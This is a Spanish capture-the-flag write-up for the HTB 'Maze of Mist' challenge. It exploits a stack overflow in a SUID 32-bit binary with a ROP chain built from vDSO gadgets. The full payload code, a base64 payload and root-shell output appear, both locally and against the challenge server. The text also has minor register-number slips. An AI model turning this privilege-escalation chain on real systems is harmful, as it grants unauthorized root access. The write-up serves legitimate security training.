Maze of Mist
12 minutos de lectura
Se nos proporciona una imagen de kernel vmlinuz-linux
comprimida, un sistema de archivos initramfs.cpio.gz
y un script run.sh
:
$ unzip -l pwn_maze_of_mist.zip
Archive: pwn_maze_of_mist.zip
Length Date Time Name
--------- ---------- ----- ----
0 2024-02-06 09:30 maze_of_mist/
1347202 2024-02-06 09:29 maze_of_mist/initramfs.cpio.gz
291 2024-02-06 09:26 maze_of_mist/run.sh
12886816 2024-02-06 09:26 maze_of_mist/vmlinuz-linux
--------- -------
14234309 4 files
$ unzip pwn_maze_of_mist.zip
Archive: pwn_maze_of_mist.zip
creating: maze_of_mist/
inflating: maze_of_mist/initramfs.cpio.gz
inflating: maze_of_mist/run.sh
inflating: maze_of_mist/vmlinuz-linux
Si descomprimimos el sistema de archivos, encontramos un binario de 32 bits llamado target
:
$ cd maze_of_mist
$ gunzip -k initramfs.cpio.gz
$ mkdir initramfs
$ cd initramfs
$ cpio -idm < ../initramfs.cpio
4959 blocks
$ ls
bin dev etc home init initramfs.cpio.gz linuxrc mnt proc root sbin sys target usr var
$ file target
target: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
Ingeniería inversa
El binario es increíblemente pequeño:
$ objdump -M intel -d target
target: file format elf32-i386
Disassembly of section .text:
08049000 <_vuln>:
8049000: b8 03 00 00 00 mov eax,0x3
8049005: 31 db xor ebx,ebx
8049007: 8d 4c 24 e0 lea ecx,[esp-0x20]
804900b: ba 00 02 00 00 mov edx,0x200
8049010: cd 80 int 0x80
8049012: 31 c0 xor eax,eax
8049014: c3 ret
08049015 <_start>:
8049015: b8 04 00 00 00 mov eax,0x4
804901a: bb 01 00 00 00 mov ebx,0x1
804901f: b9 00 a0 04 08 mov ecx,0x804a000
8049024: ba 4a 00 00 00 mov edx,0x4a
8049029: cd 80 int 0x80
804902b: e8 d0 ff ff ff call 8049000 <_vuln>
8049030: b8 01 00 00 00 mov eax,0x1
8049035: 31 db xor ebx,ebx
8049037: cd 80 int 0x80
Está usando solo tres instrucciones syscall
: sys_exit
($eax = 0x1
), sys_write
($eax = 0x3
) y sys_write
($eax = 0x4
):
08049000 <_vuln>:
8049000: mov eax, 0x3
8049005: xor ebx, ebx
8049007: lea ecx, [esp - 0x20]
804900b: mov edx, 0x200
8049010: int 0x80 # read(0, $ecx, 0x200)
8049012: xor eax, eax
8049014: ret
08049015 <_start>:
8049015: mov eax, 0x4
804901a: mov ebx, 0x1
804901f: mov ecx, 0x804a000
8049024: mov edx, 0x4a
8049029: int 0x80 # write(1, 0x804a000, 0x80)
804902b: call <_vuln>
8049030: mov eax, 0x1
8049035: xor ebx, ebx
8049037: int 0x80 # exit(0)
Hay una vulnerabilidad clara de Buffer Overflow en _vuln
, porque el programa solo reserva 0x20
bytes en la pila ($esp
), pero el programa usa read
con un tamaño máximo de 0x200
. Como resultado, podemos modificar la dirección de retorno y redirigir la ejecución del programa a otros puntos.
El problema aquí es que tenemos NX habilitado, por lo que no podemos simplemente usar shellcode:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Por lo tanto, debemos usar Return-Oriented Programming (ROP) para ejecutar código arbitrario. El problema es que el binario es muy pequeño, y no tenemos suficientes gadgets ROP para explotar el programa:
$ ROPgadget --binary target
Gadgets information
============================================================
0x08049022 : add al, 8 ; mov edx, 0x4a ; int 0x80
0x0804900d : add al, byte ptr [eax] ; add ch, cl ; xor byte ptr [ecx], 0xc0 ; ret
0x0804900e : add byte ptr [eax], al ; int 0x80
0x08049033 : add byte ptr [eax], al ; xor ebx, ebx ; int 0x80
0x0804900c : add byte ptr [edx], al ; add byte ptr [eax], al ; int 0x80
0x0804900f : add ch, cl ; xor byte ptr [ecx], 0xc0 ; ret
0x08049031 : add dword ptr [eax], eax ; add byte ptr [eax], al ; xor ebx, ebx ; int 0x80
0x08049009 : and al, 0xe0 ; mov edx, 0x200 ; int 0x80
0x08049008 : dec esp ; and al, 0xe0 ; mov edx, 0x200 ; int 0x80
0x08049010 : int 0x80
0x08049007 : lea ecx, [esp - 0x20] ; mov edx, 0x200 ; int 0x80
0x0804900a : loopne 0x8048fc6 ; add byte ptr [edx], al ; add byte ptr [eax], al ; int 0x80
0x08049030 : mov eax, 1 ; xor ebx, ebx ; int 0x80
0x0804900b : mov edx, 0x200 ; int 0x80
0x08049024 : mov edx, 0x4a ; int 0x80
0x08049023 : or byte ptr [edx + 0x4a], bh ; int 0x80
0x08049014 : ret
0x08049011 : xor byte ptr [ecx], 0xc0 ; ret
0x08049012 : xor eax, eax ; ret
0x08049035 : xor ebx, ebx ; int 0x80
Unique gadgets found: 20
Configuración del entorno
Sin embargo, hay una razón por la que nos dieron una imagen completa del kernel y un script de qemu
(run.sh
). De hecho, podemos echar un vistazo al script init
:
#!/bin/sh
export PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
chown -R root:root /
chmod 0700 /root
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devpts -o gid=5,mode=0620 devpts /dev/pts
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
chmod 0400 /root/flag.txt
chmod u+s /target
hostname arena
echo 0 >/proc/sys/kernel/randomize_va_space
setsid cttyhack setuidgid 1000 /bin/sh
umount /proc && umount /sys
poweroff -d 0 -f
Aquí vemos algunas cosas interesantes:
- Necesitamos convertirnos en
root
para leer la flag - El binario
target
es SUID, por lo que si logramos ejecución del código arbitrario, podemos convertirnos enroot
- El ASLR está deshabilitado porque
/proc/sys/kernel/randomize_va_space
contiene un0
En primer lugar, modificaremos esta línea para obtener permisos de root
una vez que el script de qemu
comience (solo para hacer pruebas):
setsid cttyhack setuidgid 0 /bin/sh # 1000 /bin/sh
Ahora, utilizaremos el siguiente script go.sh
para comprimir el sistema de archivos e iniciar el kernel:
#!/usr/bin/env bash
cd initramfs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > initramfs.cpio.gz
mv initramfs.cpio.gz ..
cd ..
sh run.sh
También podemos agregar -s
al script de qemu
para depurar más tarde con GDB:
#!/bin/sh
qemu-system-x86_64 -s \
-m 128M \
-nographic \
-kernel "./vmlinuz-linux" \
-append "console=ttyS0 quiet loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-monitor /dev/null \
-initrd "./initramfs.cpio.gz" \
-cpu qemu64,+smep,+smap,+rdrand \
-smp cores=2
En este punto, podemos lanzar qemu
y ejecutar el binario dentro del kernel:
root@arena:/# /target
Where to go, challenger? your fractured reflection is your only guide.
> asdf
root@arena:/# /target
Where to go, challenger? your fractured reflection is your only guide.
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Estrategia de explotación
No podemos reutilizar las instrucciones del binario para obtener ejecución del código arbitrario usando ROP. Pero hay más regiones de memoria cargadas en el programa:
root@arena:/# /target &
root@arena:/# Where to go, challenger? your fractured reflection is your only guide.
>
[1]+ Stopped (tty input) /target
root@arena:/# pidof target
76
root@arena:/# cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317 /target
08049000-0804a000 r-xp 00001000 00:02 317 /target
0804a000-0804b000 rw-p 00002000 00:02 317 /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
Las instrucciones del binario están en 08049000-0804a000
, pero tenemos otra página ejecutable en f7ffc000-f7ffe000
, que corresponde a vDSO. Esta región se utiliza para dejar que el programa use instrucciones syscall
y redirigir la ejecución al kernel.
Podemos volcar su contenido usando dd
:
root@arena:/# dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s
Ahora, para extraerlo, podemos usar gzip
y base64
:
root@arena:/# gzip vdso
root@arena:/# base64 vdso.gz
H4sIAAAAAAAAA+2ZcXQbxZnAd7WyrQThVc4usbFjm54Bc3HdKDEQ1cGPEAuXa5RAYiWBoLgmUUge
...
ZJqelnRb4NxPQe/5Gdr78vjy+PL48vh7Pv4CVkquWAAgAAA=
$ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
$ file vdso
vdso: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=3217528fe99bd85fcb961d07aa790af666c989c7, stripped
En este archivo binario, podemos encontrar más dispositivos ROP.
El mejor enfoque es usar sys_sigreturn
, porque permite establecer todos los registros usando un stack frame. Como resultado, podríamos establecer todos los registros y dejarlos listos para ejecutar sys_execve
y obtener ejecución del código arbitrario. Obsérvese que ya tenemos gadgets ROP que ejecutan un sys_sigreturn
($eax = 0x77
), porque se usa para cambiar a modo kernel:
$ ROPgadget --binary vdso | grep 'int 0x80'
0x0000058e : add byte ptr [eax + 0x77b858], dl ; add byte ptr [eax], al ; int 0x80
0x0000059f : add byte ptr [eax + 0xad], bh ; int 0x80
0x0000059d : add byte ptr [eax], al ; add byte ptr [eax + 0xad], bh ; int 0x80
0x0000059c : add byte ptr [eax], al ; add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000594 : add byte ptr [eax], al ; int 0x80
0x0000059e : add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x0000058d : add byte ptr [eax], al ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000577 : int 0x80
0x00000592 : ja 0x594 ; add byte ptr [eax], al ; int 0x80
0x00000591 : mov eax, 0x77 ; int 0x80
0x000005a0 : mov eax, 0xad ; int 0x80
0x0000058f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x00000590 : pop eax ; mov eax, 0x77 ; int 0x80
Durante la fase de desarrollo, no pude encontrar un payload que funcionara con sys_sigreturn
en la instancia remota, por lo que utilicé un enfoque diferente.
Mi objetivo era ejecutar setuid(0)
y execve("/bin/sh", ["/bin/sh", NULL], NULL)
. La primera instrucción syscall
es necesario porque necesitamos convertirnos en root
(el binario es SUID, pero eso no es suficiente para ejecutar como root
). Por otro lado, necesitamos llamar a /bin/sh
y establecer el primer argumento (argv[0]
) a /bin/sh
también porque el kernel usa busybox
, entonces ejecutar simplemente /bin/sh
solo mostrará el panel de ayuda de busybox
, y no devolverá una shell:
root@arena:/# ls -l /bin/sh
lrwxrwxrwx 1 root root 7 Mar 17 12:31 /bin/sh -> busybox
Entonces, necesitamos lo siguiente:
- Poner
$eax = 0x17
parasys_setuid16
y$ebx = 0
- Escribir
"/bin/sh\0"
en una dirección escribible - Escribir la dirección de
"/bin/sh\0"
y un punteroNULL
en una dirección escribible - Poner
$eax = 0xb
parasys_execve
, hacer que$ebx
contenga la dirección de"/bin/sh\0"
, hacer que$ecx
apunte a la dirección que apunta a"/bin/sh\0"
y poner$edx = 0
Desarrollo del exploit
Para esto, encontré los siguientes gadgets ROP y direcciones escribibles:
vdso_addr = 0xf7ffc000
int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800
# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a
# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca
# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
Con ellos, tengo una forma de configurar $edx
, $ecx
, $ebx
, $edi
, $esi
y $ebp
fácilmente.
Además, tenemos un gadget ROP de write-what-where, que es útil para escribir "/bin/sh\0"
en una dirección escribible. Para esto, necesitamos poner el valor que queremos escribir en $ecx
y la dirección en la que queremos escribirlo en $edx
. El inconveniente de este gadget ROP es que el puntero de pila aumenta en 0x34
, por lo que perdemos 13 gadgets ROP.
Por último, pero no menos importante, podemos establecer valores casi arbitrarios en $eax
encontrando una dirección que contenga el valor que queremos para $eax
(o algo que sea el resultado de una operación OR).
Esta será la ejecución de setuid(0)
:
payload = b'A' * 32
payload += p32(pop_ebx_pop_esi_pop_ebp_ret)
payload += p32((0x804a08c - 0x5e5b34c4) & 0xffffffff)
payload += p32(0) * 2
payload += p32(or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr)
payload += p32(0) * 2
payload += p32(pop_ebx_pop_esi_pop_ebp_ret)
payload += p32(0) * 3
# sys_setuid(0)
payload += p32(int_0x80_xor_eax_eax_ret_addr)
Observe que el offset del Buffer Overflow es 32 (0x20
), como se ve antes en el código de ensamblador. Entonces, estamos usando el byte en la dirección 0x804a08c
para poner el valor de $eax = 0xd
(el valor anterior era $eax = 0
):
$ xxd initramfs/target | grep -E ' 17|17 '
00002080: 00a0 0408 0000 0000 0000 0200 1700 0000 ................
Nótese que el binario se cargará en 0x8048000
, por lo que el offset anterior es 0x804a08c
. Además, no tenemos ASLR, por lo que la región de memoria vDSO siempre está en 0xf7ffc000
.
La siguiente parte pone $eax = 0xb
:
payload += p32(pop_ebx_pop_esi_pop_ebp_ret)
payload += p32((0x8048012 - 0x5e5b34c4) & 0xffffffff)
payload += p32(0) * 2
payload += p32(or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr)
payload += p32(0) * 2
payload += p32(pop_ebx_pop_esi_pop_ebp_ret)
payload += p32((0x804803f - 0x5e5b34c4) & 0xffffffff)
payload += p32(0) * 2
payload += p32(or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr)
payload += p32(0) * 2
No tenemos 0x0b
en el binario, pero podemos encontrar 0x3
y 0x8
, de forma que 0x3 | 0x8 = 0xb
(offsets 0x8048012
y 0x804803f
):
$ xxd initramfs/target | head -4
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 0300 0100 0000 1590 0408 3400 0000 ............4...
00000020: 4021 0000 0000 0000 3400 2000 0400 2800 @!......4. ...(.
00000030: 0600 0500 0100 0000 0000 0000 0080 0408 ................
La siguiente parte de la cadena ROP se usa para escribir "/bin/sh\0"
en una dirección escribible (por ejemplo, 0x804a800
):
payload += p32(pop_edx_pop_ecx_ret_addr)
payload += p32(bin_sh_addr)
payload += b'/bin'
payload += p32(mov_dword_ptr_edx_ecx_ret_addr)
payload += p32(0) * (4 + 13)
payload += p32(pop_edx_pop_ecx_ret_addr)
payload += p32(bin_sh_addr + 4)
payload += b'/sh\0'
payload += p32(mov_dword_ptr_edx_ecx_ret_addr)
payload += p32(0) * (4 + 13)
También debemos escribir la dirección que apunta a la dirección de "/bin/sh\0"
en una dirección escribible como el argv
para execve
:
payload += p32(pop_edx_pop_ecx_ret_addr)
payload += p32(bin_sh_addr + 0x30)
payload += p32(bin_sh_addr)
payload += p32(mov_dword_ptr_edx_ecx_ret_addr)
payload += p32(0) * (4 + 13)
Finalmente, llamamos a sys_execve
:
payload += p32(pop_ebx_pop_esi_pop_ebp_ret)
payload += p32(bin_sh_addr)
payload += p32(0) * 2
payload += p32(pop_edx_pop_ecx_ret_addr)
payload += p32(0)
payload += p32(bin_sh_addr + 0x30)
# sys_execve("/bin/sh", ["/bin/sh", NULL], NULL)
payload += p32(int_0x80_xor_eax_eax_ret_addr)
Dado que el payload anterior va a ser “one-shot”, simplemente lo codificamos en Base64 y lo imprimimos:
assert len(payload) <= 0x200
print(b64e(payload))
Este es el payload:
$ python3 solve.py
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUHN1f/3yGupqQAAAAAAAAAAy8z/9wAAAAAAAAAAzdX/9wAAAAAAAAAAAAAAABCQBAjN1f/3TkupqQAAAAAAAAAAy8z/9wAAAAAAAAAAzdX/93tLqakAAAAAAAAAAMvM//cAAAAAAAAAAHrF//cAqAQIL2JpbsrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHrF//cEqAQIL3NoAMrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHrF//cwqAQIAKgECMrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM3V//cAqAQIAAAAAAAAAAB6xf/3AAAAADCoBAgQkAQI
Usaremos el siguiente conjunto de comandos para poner el payload y dejaremos el proceso abierto con cat
para ejecutar comandos cuando tengamos la shell:
(echo '<base64-payload>' | base64 -d; cat) | /target
Y con esto, tenemos una shell en local:
root@arena:/# (echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUHN1f/3yGupqQAAAAAAAAAAy8z/9wAAAAAAAAAAzdX/9wAAAAAAAAAAAAAAABCQBAjN1f/3TkupqQAAAAAAAAAAy8z/9wAAAAAAAAAAzdX/93tLqakAAAAAAAAAAMvM//cAAAAAAAAAAHrF//cAqAQIL2JpbsrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHrF//cEqAQIL3NoAMrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHrF//cwqAQIAKgECMrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM3V//cAqAQIAAAAAAAAAAB6xf/3AAAAADCoBAgQkAQI | base64 -d; cat) | /target
Where to go, challenger? your fractured reflection is your only guide.
> ls
bin etc init mnt root sys usr
dev home linuxrc proc sbin target var
whoami
root
cat /root/flag.txt
HTB{fake_flag}
Vale la pena mencionar que durante el desarrollo de exploit, necesitaba depurar el exploit, pero fue bastante difícil porque estaba funcionando dentro de qemu
. Encontré una solución alternativa por habilitando core dumps, y luego copiar el archivo core en mi máquina y depurar con GDB para ver dónde falló el exploit. Otro enfoque era depurar el kernel y establecer breakpoints en instrucciones syscall
, con lo que se puede controlar el flujo de ejecución del programa de 32 bits..
Flag
Probemos en remoto:
$ nc 94.237.58.102 44985
SeaBIOS (version rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+06FD1040+06F31040 CA00
Booting from ROM...
challenger@arena:/$ whoami
whoami
challenger
challenger@arena:/$ ls
ls
bin etc init mnt root sys usr
dev home linuxrc proc sbin target var
challenger@arena:/$ cat /root/flag.txt
cat /root/flag.txt
cat: can't open '/root/flag.txt': Permission denied
challenger@arena:/$ (echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUHN1f/3yGupqQAAAAAAAAAAy8z/9wAAAAAAAAAAzdX/9wAAAAAAAAAAAAAAABCQBAjN1f/3TkupqQAAAAAAAAAAy8zt
(echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUHN1f/3yGupqQ
AAAAAAAAAAy8z/9wAAAAAAAAAAzdX/9wAAAAAAAAAAAAAAABCQBAjN1f/3TkupqQAAAAAAAAAAy8z/9w
AAAAAAAAAAzdX/93tLqakAAAAAAAAAAMvM//cAAAAAAAAAAHrF//cAqAQIL2JpbsrM//cAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH
rF//cEqAQIL3NoAMrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHrF//cwqAQIAKgECMrM//cAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM3V//cAqAQIAAAAAA
AAAAB6xf/3AAAAADCoBAgQkAQI | base64 -d; cat) | /target
Where to go, challenger? your fractured reflection is your only guide.
> whoami
whoami
root
cat /root/flag.txt
cat /root/flag.txt
HTB{eSc4p1nG_tH3_m4zE_f0r_Fun_4nd_pR0f1t}
El código del exploit completo está aquí: solve.py
.